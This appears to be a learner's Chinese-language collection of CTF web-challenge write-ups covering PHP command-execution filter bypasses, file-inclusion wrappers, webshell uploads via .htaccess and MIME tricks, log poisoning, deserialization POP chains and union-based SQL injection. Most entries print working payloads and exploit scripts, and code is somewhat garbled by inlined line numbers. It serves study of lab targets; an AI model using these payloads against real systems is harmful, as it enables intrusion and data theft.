本文最后更新于 2026-02-10T23:33:03+08:00
paEasy_rce
用system函数,用ls命令查看目录
用ls /查看index.php下的根目录
用cat命令查看文件
补充:可以用passthru函数,可以直接回显
用exec,shell_exec函数,需套一个echo或者printf或者print_r或者var_dump
如果命令禁用,则写文件,将需要查看到的写入文件,用cat查看文件
写文件:?参数名=exec(‘cat /文件名 > 新的文件名’);
如果浏览器可以写文件则可直接查看新的文件
[SWPUCTF 2021 新生赛]easy_md5
看到php代码,知道需要get和post传参,get的参数名为name,post参数名为password,如果name的参数值不等于password的参数值并且md5弱比较两者的md5值需相等
以0e绕过md5检验得到flag
[SWPUCTF 2021 新生赛]PseudoProtocols
提示查找hint.php,运用php://filter伪协议绕过,构造payload:php://filter/read=convert.base64-encode/resource=hint.php
得到一串base64编码的密文,解码得到
更改url查看
分析源码第4行是文件包含,flag包含在flag.php文件中,第5行是get传参,参数名为a,第6行参数值为I want flag,file_get_contents()函数是用来读文件的,用于读取a文件内容,判断是不是那句话,然后问了学长说根据经验判断出是伪协议,最后一步就用data伪协议,将I want flag进行base64编码,构造payload:?a=data://text/plain;base64,SSB3YW50IGZsYWc=,得到flag(最后一步构造是ai给的,还在学伪协议)
或者也可以bp抓包,用input伪协议,修改请求方式为POST之后直接发送请求体
babyrce (Cookie注入 空格绕过)
分析源码是一个cookie验证admin=1,得到文件名
分析代码,第6行get参数为url,赋值给$ip,第7行检测ip值中是否含有空格,若有则显示nonono,所以需要绕过空格,第9行shell_exec函数是执行命令的函数,所以可以在参数名后直接输入命令(之前遇到的eval函数是用来执行代码的所以要加system或者其他执行命令的函数),用$IFS绕过空格(不能用%20绕过,%20是URL编码)
空格绕过,执行查看根目录的命令
查看flag文件
[LitCTF 2023]PHP是世界上最好的语言! php代码和linux命令
[LitCTF 2023]Ping
F12打开插件hackbar,输入的值ping之后发送,在POST中得到参数值
在POST命令后用&&或者|或者;链接符执行linuxs命令,查看flag
[SWPUCTF 2021 新生赛]jicao
考点:json格式
分析代码POST参数名为id,参数值为wllmNB,GET参数名为json,json_decode()函数是将括号中的内容进行json解码,所以要把json参数值进行json格式编码
json格式:由键值对组成{“键”:”值”}
这道题中键为x,值为wllm
[GXYCTF 2019]Ping Ping Ping
payload:?ip=127.0.0.1;b=lag;a=f;cat$IFS$9$a$b.php
flag,通配符,空格都被ban了,内联执行绕过,
[SWPUCTF 2021 新生赛]hardrce
无字母rce,就是一个简单的对命令取反
[SWPUCTF 2021 新生赛]finalrce
分析源码很多命令都被ban掉了,用tee命令写文件,|管道分隔符,ls,la都被ban了就用\绕过
还可以用bp但不用抓包
然后粘贴到网页,需加上curl(这是发送命令的请求),还需加上http://
后面用反引号``写入命令,因为ls都被ban掉了,用\绕过
每执行完一次命令后点击立即轮询查看http类型文件
[鹏城杯 2022]简单包含(文件包含脏数据)
文件包含在flag.php,根目录是/var/www/html,但存在waf,因为当前代码看不出来ban了什么,学长说这不是完整的代码,要看完整代码
/var/www/html是网站根目录
用filter伪协议查看index.php看到源码
if (strlen(file_get_contents(‘php://input’)) < 800 && preg_match(‘/flag/‘, $path))
同时满足POST 请求原始数据长度<800并且不包含flag就会回显nssctf waf
得到flag的base64编码
[SWPUCTF 2022 新生赛]ez_ez_php(revenge)
if ( substr($_GET["file"], 0, 3) === "php" ),改代码是看传入的内容前三个字母是否是php,用filter伪协议,base64解码
[鹤城杯 2021]EasyP(正则绕过)
这道题实在看不懂就看了wphttps://blog.csdn.net/qq_51295677/article/details/124237892
$_SERVER[…] :是一个包含了头信息,路径以及脚本位置等信息的数组, 根据中括号内传入的参数不同,返回不同的信息
basename():返回路径中的文件名部分
PHP_SELF’:返回当前执行脚本的文件名
首先要绕过正则使show_source不为空,并且使basename()值为utils.php, 所以我们要想办法绕**/utils.php/*$/i** 以及**/show_source/**这个正则匹配
只要在后面加个非ASCII码的东西就可以绕过
所以我们用%88或者只要是可以造成乱码的url编码就可以绕过**/utils.php/*$/i** 正则匹配
/show_source/用show[source或者show.source绕过
payload:/index.php/utils.php/%88?show[source=1
忘记名字了
解法一(Hackbar)
修改浏览器的User-Agent头,伪造WLLM浏览器访问
伪造本地访问,添加XXF头,X-Forwarded-For:127.0.0.1,发送请求得到flag
解法2(bp)
修改浏览器的User-Agent头,伪造WLLM浏览器访问
更改访问地址为/.a.php
伪造本地访问,添加XXF头,X-Forwarded-For:127.0.0.1,发送请求得到flag
[HCTF 2018]Warmup
一开始啥也没有,直接看源码
看到了source.php这个文件,访问它
题目代码
分析源码(代码审计)
1 2 3 4 5 class emmm { public static function checkFile (&$page ) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ];
class emmm:定义PHP类,类名时emmm
checkFile:静态公共方法(不懂)
static:静态方法不需要实例化类
&$page:方法的参数 &表示引用传递(而非值传递),意味着在方法内部修改$page的值时,外部原始变量的值也会同步改变
$whitelist:文件自定义的白名单
“source”=>”source.php”,”hint”=>”hint.php”:
键
值
source
source.php
hint
hint.php
值对于允许访问的实际PHP文件路径(即服务器上存在的合法文件)
1 2 3 4 if (! isset ($page ) || !is_string ($page )) { echo "you can't see it" ; return false ; }
第一个条件判断
isset($page):是否设置
is_string($page):内容是否为字符串类型
首先检查传入的$page参数是否为字符串类型, 如果不是或者未设置,将输出”you can’t see it”并返回false
1 2 3 if (in_array ($page , $whitelist )) { return true ; }
in_array($page, $whitelist):检查page中的内容是否存在定义的白名单$whitelist中
1 2 3 4 $_page = mb_substr ( $page , 0 , mb_strpos ($page . '?' , '?' )
mb_substr()函数:从字符串中提取子字符串
mb_strpos()函数:PHP中的一个内置函数,用于查找字符串在另一个字符串中首次出现的位置
mb_strpos($page . ‘?’, ‘?’):先用mb_strpo函数找到第一个?出现的位置, 然后使用mb_substr函数将问号之前的部分作为$_page进行处理
1 2 3 if (in_array ($_page , $whitelist )) { return true ; }
这是再次检查传入的$page是否直接存在白名单里
1 2 3 4 5 6 7 8 9 10 11 12 13 $_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } echo "you can't see it" ; return false ; } }
urldecode($page):将$page中的内容进行url编码,然后重复mb_strpos和mb_substr两个函数的处理(同片段4),如果$_page在白名单中存在,返回true
1 2 3 4 5 6 7 8 9 if (! empty ($_REQUEST ['file' ]) && is_string ($_REQUEST ['file' ]) && emmm::checkFile ($_REQUEST ['file' ]) ) { include $_REQUEST ['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; }
检查$_REQUEST[‘file’]中是否存在且为字符串类型,并调用emmm::checkFile方法进行检查
始终是在source.php页面下进行的传参操作,目的是利用include函数将flag文件包含出来
查看hint.php
通过../返回上级目录直到根目录,当前目录一般是/var/www/html
[SWPUCTF 2023 秋季新生赛]RCE-PLUS
这是无回显和flag绕过
写文件
有多种写文件和绕过方法
payload
?cmd=cat /fl?? > 1.txt
?cmd=nl /fl?? | tee 2.txt
?cmd=nl /fl?? | tee 3.txt)
?cmd=nl /f* | tee 4.txt)
?cmd=nl /* | tee 5.txt)
[LitCTF 2023]作业管理系统
开头是登录界面,直接查看源码,得到用户名和密码都是admin
上传1.php文件,文件内容是一句话木马
看文件
蚁剑连接
根目录下看到flag
[SWPUCTF 2021 新生赛]easyupload2.0
写一个一句话木马
查看环境变量
然后要让服务器把传的文件当做PHP文件解析才行,将文件后缀名改为php会被禁用,用phtml绕过
然后查看上传的文件,系统会执行文件中的代码查看环境变量发现里面就有flag
[SWPUCTF 2021 新生赛]easyupload1.0
上传后缀名为phtml的文件绕过检验,然后bp拦截抓包
没反应,修改Content-Type的请求体改为image/jpeg,MIME绕过
修改POST请求查看上传的文件,系统执行了上传的php代码就可以看到环境变量了
[SWPUCTF 2021 新生赛]easyupload3.0
上传.htaccess文件
<FilesMatch “a.jpg”>
SetHandler application/x-httpd-php
作用是将a.jpg文件相当于传入的php文件,就是会让PHP解释器去解析jpg文件,把它当作php文件
然后上传1.jpg文件,内容为一句话木马
然后在网页看文件
根据传入的木马用POST传参查看环境变量,因为这里用ls /命令查看根目录下文件找不到flag
[GXYCTF 2019]BabyUpload
上传.htaccess文件
因为把php过滤掉了所以要用其他标签过滤
在网站查看然后蚁剑链接
[HNCTF 2022 Week1]easy_upload
上传一句话木马,bp拦截抓包
在网站查看路径
蚁剑链接
[MoeCTF 2022]what are y0u uploading?
上传一个jpg文件,内容是一句话木马,一开始上传了php文件被禁用了,进行bp抓包
更改文件名为flag.php
[HNCTF 2022 WEEK2]easy_include
php,flag,data几乎都被ban掉了,猜测是日志文件漏洞
Nginx默认日志路径是/var/log/nginx/access.log
可以进行日志文件包含,在User-Agent中写入恶意命令,然后包含日志文件从而得到命令的回显
[UUCTF 2022 新生赛]ez_rce 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php if (isset ($_GET ['code' ])){ $code =$_GET ['code' ]; if (!preg_match ('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i' ,$code )){ echo '看看你输入的参数!!!不叫样子!!' ;echo '<br>' ; eval ($code ); } else { die ("你想干什么?????????" ); } }else { echo "居然都不输入参数,可恶!!!!!!!!!" ; show_source (__FILE__ ); }
代码分析
主要看
1 if (!preg_match ('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i' ,$code ))
很明显很多命令和函数都被ban掉了,我们需要绕过
绕过的方法想到引号..通配符还有编码这些,但*被ban了,最后的i表示数组被ban了,就只能用引号这些绕过
eval($code);将code值当作命令执行
当然首先要看的是传参类型很明显是GET
解题思路大概就是传参,命令绕过,然后将内容打印回显出来
payload:?code=var_dump(l\s /);)
var_dump()函数用来打印,应该也可以用print_r,printf这些,因为system被ban了,就用``反引号绕过,反引号可以执行命令,因为ls也被ban了,就用\给它绕过
payload:?code=var_dump(nl /fffffffffflagafag);
这一步就是绕过cat命令,有很多方式可以绕过,这里用nl代替cat,还可以像上面一样用\
或者payload:?code=var_dump(c\at /fffffffffflagafag);
但这道题感觉还能用无参尝试一下)
[第五空间 2021]WebFTP
感觉是一道登录题,先看环境变量phpinfo.php
能找到flag但应该是非预期
正常一开始就是bp抓包,弱口令爆破得到密码是admain888
登录成功就是这个页面
然后就不会了看了wphttps://blog.csdn.net/hiahiachang/article/details/123118953里面也讲了预期和非预期
到这一步就解不下去了,因为没下载到源码。。。)
[SWPUCTF 2021 新生赛]no_wakeup(__wakeup()方法绕过) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php header ("Content-type:text/html;charset=utf-8" );error_reporting (0 );show_source ("class.php" );class HaHaHa { public $admin ; public $passwd ; public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; } public function __wakeup ( ) { $this ->passwd = sha1 ($this ->passwd); } public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "wllm" ){ include ("flag.php" ); echo $flag ; }else { echo $this ->passwd; echo "No wake up" ; } } }$Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );?>
代码审计
1 2 3 4 public function __construct ( ) { $this ->admin ="user" ; $this ->passwd = "123456" ; }
魔术方法__construct()创建对象时自动触发将$admin设为 “user”,$passwd设为 “123456”
1 2 3 4 5 public function __destruct ( ) { if ($this ->admin === "admin" && $this ->passwd === "wllm" ){ include ("flag.php" ); echo $flag ; }
魔术块__destruct()对象销毁时自动触发
该代码判断如果$admin===”admin”,passwd=== “wllm”则输出flag,否则无法输出
1 2 $Letmeseesee = $_GET ['p' ];unserialize ($Letmeseesee );
正常序列化结果(属性数量为2)
1 O :6 :"HaHaHa" :2 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
篡改属性数量,绕过__wakeup()
将数量2改为大于2的数
1 O :6 :"HaHaHa" :3 :{s:5 :"admin" ;s:5 :"admin" ;s:6 :"passwd" ;s:4 :"wllm" ;}
payload
1 ?p =O: 6 :"HaHaHa" : 3 : {s: 5 :"admin" ;s: 5 :"admin" ;s: 6 :"passwd" ;s: 4 :"wllm" ;};
[ZJCTF 2019]NiZhuanSiWei(文件包含伪协议php反序列化) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php $text = $_GET ["text" ];$file = $_GET ["file" ];$password = $_GET ["password" ];if (isset ($text )&&(file_get_contents ($text ,'r' )==="welcome to the zjctf" )){ echo "<br><h1>" .file_get_contents ($text ,'r' )."</h1></br>" ; if (preg_match ("/flag/" ,$file )){ echo "Not now!" ; exit (); }else { include ($file ); $password = unserialize ($password ); echo $password ; } }else { highlight_file (__FILE__ ); }?>
if(isset($text)&&(file_get_contents($text,’r’)===”welcome to the zjctf”)
要求传入text文件,内容为welcome to the zjctf
利用两个伪协议得到base64编码
1 ?text =data://text /plain,welcome to the zjctf&file=php://filter /read =convert.base64-encode/resource=useless.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
在本地进行序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class Flag { public $file ="flag.php" ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents ($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } }$a =new Flag ();echo serialize ($a );?> O:4 :"Flag" :1 :{s:4 :"file" ;s:8 :"flag.php" ;}
构造payload
1 ?text =data://text /plain,welcome to the zjctf&file=useless.php&password =O:4 :"Flag":1 :{s:4 :"file";s:8 :"flag.php";}
[SWPUCTF 2021 新生赛]pop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php error_reporting (0 );show_source ("index.php" );class w44m { private $admin = 'aaa' ; protected $passwd = '123456' ; public function Getflag ( ) { if ($this ->admin === 'w44m' && $this ->passwd ==='08067' ){ include ('flag.php' ); echo $flag ; }else { echo $this ->admin; echo $this ->passwd; echo 'nono' ; } } }class w22m { public $w00m = ; public function __destruct ( ) { echo $this ->w00m; } }class w33m { public $w00m ; public $w22m ; public function __toString ( ) { $this ->w00m->{$this ->w22m}(); return 0 ; } }$w00m = $_GET ['w00m' ];unserialize ($w00m );?>
代码审计
echo $flag;
flag在w44m类中,因此我们最终是要调用w44m类中的Get
flag方法,admin和password要求为w44m和08067
echo $this->w00m;
w22m类中的echo会触发w33m类中的__toString()魔术方法
对三个类进行分析
若变量前是protected,则会在变量名前加上\x00*\x00
若是private,则会在变量名前加上\x00类名\x00,输出时一般需要url编码
当类销毁时会输出$this->w00m
当w33m类的对象被当作字符串使用时触发__toString()方法
解题思路
首先是从w22m类的魔术方法入手,然后是w33m,因此我们构造的东西($jay17),他是序列化后的w22m类,w22m类里面的变量w00m=w33m类,w33m类里面的变量w00m为w44m类,w33m类里面的变量w22m为w44m类里面的Getflag函数,并且w44m类的admin和password变量为w44m和08067。
正确的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php class w22m { public $w00m ; public function __construct ( ) { $this ->w00m=new w33m (); } }class w33m { public $w00m ; public $w22m ='Getflag' ; public function __construct ( ) { $this ->w00m=new w44m (); } }class w44m { private $admin = 'w44m' ; protected $passwd = '08067' ; }$j17 = new w22m ();echo urlencode (serialize ($j17 ));?>
运行结果:
1 O %3 A4%3 A%22 w22m%22 %3 A1%3 A%7 Bs%3 A4%3 A%22 w00m%22 %3 BO%3 A4%3 A%22 w33m%22 %3 A2%3 A%7 Bs%3 A4%3 A%22 w00m%22 %3 BO%3 A4%3 A%22 w44m%22 %3 A2%3 A%7 Bs%3 A11%3 A%22 %00 w44m%00 admin%22 %3 Bs%3 A4%3 A%22 w44m%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 passwd%22 %3 Bs%3 A5%3 A%2208067 %22 %3 B%7 Ds%3 A4%3 A%22 w22m%22 %3 Bs%3 A7%3 A%22 Getflag%22 %3 B%7 D%7 D
payload:
1 ?w00 m= O%3 A4 %3 A%22 w22 m%22 %3 A1 %3 A%7 Bs%3 A4 %3 A%22 w00 m%22 %3 BO%3 A4 %3 A%22 w33 m%22 %3 A2 %3 A%7 Bs%3 A4 %3 A%22 w00 m%22 %3 BO%3 A4 %3 A%22 w44 m%22 %3 A2 %3 A%7 Bs%3 A11 %3 A%22 %00 w44 m%00 admin%22 %3 Bs%3 A4 %3 A%22 w44 m%22 %3 Bs%3 A9 %3 A%22 %00 %2 A%00 passwd%22 %3 Bs%3 A5 %3 A%2208067 %22 %3 B%7 Ds%3 A4 %3 A%22 w22 m%22 %3 Bs%3 A7 %3 A%22 Getflag%22 %3 B%7 D%7 D
[HUBUCTF 2022 新生赛]checkin(反序列化 弱比较) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php show_source (__FILE__ );$username = "this_is_secret" ; $password = "this_is_not_known_to_you" ; include ("flag.php" );$info = isset ($_GET ['info' ])? $_GET ['info' ]: "" ;$data_unserialize = unserialize ($info );if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }else { echo "username or password error!" ; }?>
代码审计
1 2 3 if ($data_unserialize ['username' ]==$username &&$data_unserialize ['password' ]==$password ){ echo $flag ; }
只有当’username’=username,’password’=password时才会显示flag
1 2 $username = "this_is_secret" ; $password = "this_is_not_known_to_you"
因为开头已经修改了两个值并且未知因此不是简单赋值
然后看到代码1中==是弱比较
根据这个可以看出,true和非零非空字符串比较都为true
因此事实上只需要满足$data_unserialize[‘username’]==$true&&$data_unserialize[‘password’]==$true
即可回显flag
构造序列化exp
1 2 3 4 5 6 7 <?php $info = array ( 'username' =>true , 'password' =>true );echo serialize ($info );?>
运行结果为a:2:{s:8:”username”;b:1;s:8:”password”;b:1;}
构造payload
1 ?info =a:2:{s:8:"username" ;b:1;s:8:"password" ;b:1;}
[SWPUCTF 2022 新生赛]1z_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ; public $lly ; function __destruct ( ) { $a = $this ->lt; $a ($this ->lly); } }unserialize ($_POST ['nss' ]);highlight_file (__FILE__ ); ?>
代码审计
将a调用到lt
$a()这个格式表示把$a作为一个函数,其中的参数调用给lly
构造exp
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ='system' ; public $lly ='ls /' ; }$a = new lyh ();echo serialize ($a );?>
运行结果O:3:”lyh”:3:{s:3:”url”;s:10:”NSSCTF.com”;s:2:”lt”;s:6:”system”;s:3:”lly”;s:4:”ls /“;}
第一个payload
1 nss =O:3 :"lyh" :3 :{s:3 :"url" ;s:10 :"NSSCTF.com" ;s:2 :"lt" ;s:6 :"system" ;s:3 :"lly" ;s:4 :"ls /" ;}
第二步的exp
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class lyh { public $url = 'NSSCTF.com' ; public $lt ='system' ; public $lly ='cat /flag' ; }$a = new lyh ();echo serialize ($a );?>
运行结果O:3:”lyh”:3:{s:3:”url”;s:10:”NSSCTF.com”;s:2:”lt”;s:6:”system”;s:3:”lly”;s:9:”cat /flag”;}
第二个payload
1 nss =O:3 :"lyh" :3 :{s:3 :"url" ;s:10 :"NSSCTF.com" ;s:2 :"lt" ;s:6 :"system" ;s:3 :"lly" ;s:9 :"cat /flag" ;}
[SWPUCTF 2022 新生赛]ez_ez_unserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class X { public $x = __FILE__ ; function __construct ($x ) { $this ->x = $x ; } function __wakeup ( ) { if ($this ->x !== __FILE__ ) { $this ->x = __FILE__ ; } } function __destruct ( ) { highlight_file ($this ->x); } }if (isset ($_REQUEST ['x' ])) { @unserialize ($_REQUEST ['x' ]); } else { highlight_file (__FILE__ ); }
代码审计
看到__wakeup()魔术方法应该是绕过
使属性值比原有的大
构造POP链
1 2 3 4 5 6 7 8 <?php class X { public $x = __FILE__ ; }$a = new X ();$a ->x = "fllllllag.php" ;echo (serialize ($a ));
运行结果O:1:”X”:1:{s:1:”x”;s:13:”fllllllag.php”;}
绕过__wakeup()魔术方法
payload:
1 ?x =O: 1 :"X" : 2 : {s: 1 :"x" ;s: 13 :"fllllllag.php" ;}
[NISACTF 2022]babyserialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include "waf.php" ;class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }if (isset ($_GET ['ser' ])){ @unserialize ($_GET ['ser' ]); }else { highlight_file (__FILE__ ); }?>
代码审计
1 2 3 4 5 public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); }
@eval($this->txw4ever)将txw4ever的内容当作php代码执行
__invoke()需触发这个魔术方法才能执行@eval函数
__invoke()触发时机是将内容作为函数调用,因此我们要找类似于函数的代码
这里可以找到$bb()是作为函数
1 2 3 4 public function __toString ( ) { $bb = $this ->su; return $bb (); }
$bb()将su的值给$bb并以函数形式执行
这串代码需要__toString()魔术方法
__toString()需要将属性作为字符串执行才可触发,即需要找echo或print或者if语句代码
1 2 3 4 5 6 7 public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } }
__set()魔术方法需给不存在的属性赋值才能触发
strtolower()函数:将字符串中的所有字母转换为小写形式
fun的值对应sixsixsix
令$a = new Ilovetxw(),strtolower()需要字符串因此可以触发__toString()魔术方法
1 2 3 4 public function __wakeup ( ) { $this ->ext->nisa ($this ->x); }
令$ext = new Ilovetxw():$this->ext->nisa($this->x);这里调用了不存在方法nisa,触发了__call()方法
1 2 3 public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; }
__call方法给$this->huang->fun赋值为$arg[0](即TianXiWei的$x)
绕过
*绕过 **NISA::__wakeup()的 hint *
只需确保NISA->fun不是”show_me_flag”,可设为任意值(如空字符串””)
*绕过 ***checkcheck()**函数
函数通过preg_match过滤危险字符,可使用PHP 变量名绕过或编码绕过
大概可以开始构造链子了
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }$n = new NISA ();$n ->txw4ever = 'System("ls /");' ;$n ->fun = "sixsixsix" ;$i = new Ilovetxw ();$i ->su = $n ;$f = new four ();$f ->a = $i ;$i = new Ilovetxw ();$i ->huang = $f ;$t = new TianXiWei ();$t ->ext = $i ;echo urlencode (serialize ($t ));?>
payload1
1 ?ser=O%3A9%3A"TianXiWei" %3A2%3A{s%3A3%3A"ext" %3BO%3A8%3A"Ilovetxw" %3A2%3A{s%3A5%3A"huang" %3BO%3A4%3A"four" %3A2%3A{s%3A1%3A"a" %3BO%3A8%3A"Ilovetxw" %3A2%3A{s%3A5%3A"huang" %3BN%3Bs%3A2%3A"su" %3BO%3A4%3A"NISA" %3A2%3A{s%3A3%3A"fun" %3Bs%3A3%3A"666" %3Bs%3A8%3A"txw4ever" %3Bs%3A15%3A"System(" ls +%2F")%3B" %3B}}s%3A9%3A"%00four%00fun" %3Bs%3A3%3A"abc" %3B}s%3A2%3A"su" %3BN%3B}s%3A1%3A"x" %3BN%3B}
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 <?php class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } }class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } }class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } }class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } }$n = new NISA ();$n ->txw4ever = 'System("cat /*");' ;$n ->fun = "sixsixsix" ;$i = new Ilovetxw ();$i ->su = $n ;$f = new four ();$f ->a = $i ;$i = new Ilovetxw ();$i ->huang = $f ;$t = new TianXiWei ();$t ->ext = $i ;echo urlencode (serialize ($t ));?>
payload2
1 ?ser= O%3 A9 %3 A"TianXiWei" %3 A2 %3 A{s%3 A3 %3 A"ext" %3 BO%3 A8 %3 A"Ilovetxw" %3 A2 %3 A{s%3 A5 %3 A"huang" %3 BO%3 A4 %3 A"four" %3 A2 %3 A{s%3 A1 %3 A"a" %3 BO%3 A8 %3 A"Ilovetxw" %3 A2 %3 A{s%3 A5 %3 A"huang" %3 BN%3 Bs%3 A2 %3 A"su" %3 BO%3 A4 %3 A"NISA" %3 A2 %3 A{s%3 A3 %3 A"fun" %3 Bs%3 A9 %3 A"sixsixsix" %3 Bs%3 A8 %3 A"txw4ever" %3 Bs%3 A17 %3 A"System(" cat+%2 F*")%3B" %3 B}}s%3 A9 %3 A"%00four%00fun" %3 Bs%3 A3 %3 A"abc" %3 B}s%3 A2 %3 A"su" %3 BN%3 B}s%3 A1 %3 A"x" %3 BN%3 B}
[ISCTF2025]b@by n0t1ce b0ard
访问进去是一个注册页面在image中有一个文件上传,猜测是文件上传漏洞
上传一句话木马
有一个MIME绕过
根据文件夹中的已有头像得知上传的路径
payload
/images/1@qq.com /1.php
访问成功后蚁剑连接
ISCTF{48d85a4c-2174-41cb-9213-76b5b8fceeea}
[LitCTF 2023]导弹迷踪
玩游戏到第六关才有flag,(好奇玩了两把第一关都过不了
这种肯定先看源码,但是源码里面什么都没有
根据题目标签提示是js就看js文件,Level6就能看到flag
[SWPUCTF 2021 新生赛]easy_sql payload1
有回显说明不是数字型注入
payload2
有报错说明是字符型注入
payload3
1 ?wllm= 1 ' order by 3 -- +
利用order by语句判断name和password的列数
3的时候有正常回显说明不是3
4的时候报错无正常回显说明该数据库有3列
payload4
1 ?wllm=2 'union select 1 ,2 ,3
没看懂为什么变成2,不懂union select是什么意思网上暂时没找到
大体可以知道,网页上回显的内容是selec查询语句第二个参数和第三个参数的内容
payload5
1 ?wllm=0 'union select 1 ,2 ,database()
好像是查看数据库名称,需要wllm的值不等于1
payload6
1 ?wllm =2'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema ='test_db' --+
group_concat函数和information_schema.tables,就是查看‘test_db’数据库下有哪些表
payload7
1 ?wllm =2'union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='test_tb' --+
正常回显,有id和flag两列,那这个flag里的内容应该就是我们最终所需要的答案了。我们通过select查询语句让它把flag的内容回显。
payload8
1 ?wllm=2 'union select 1 ,2 ,flag from test_tb
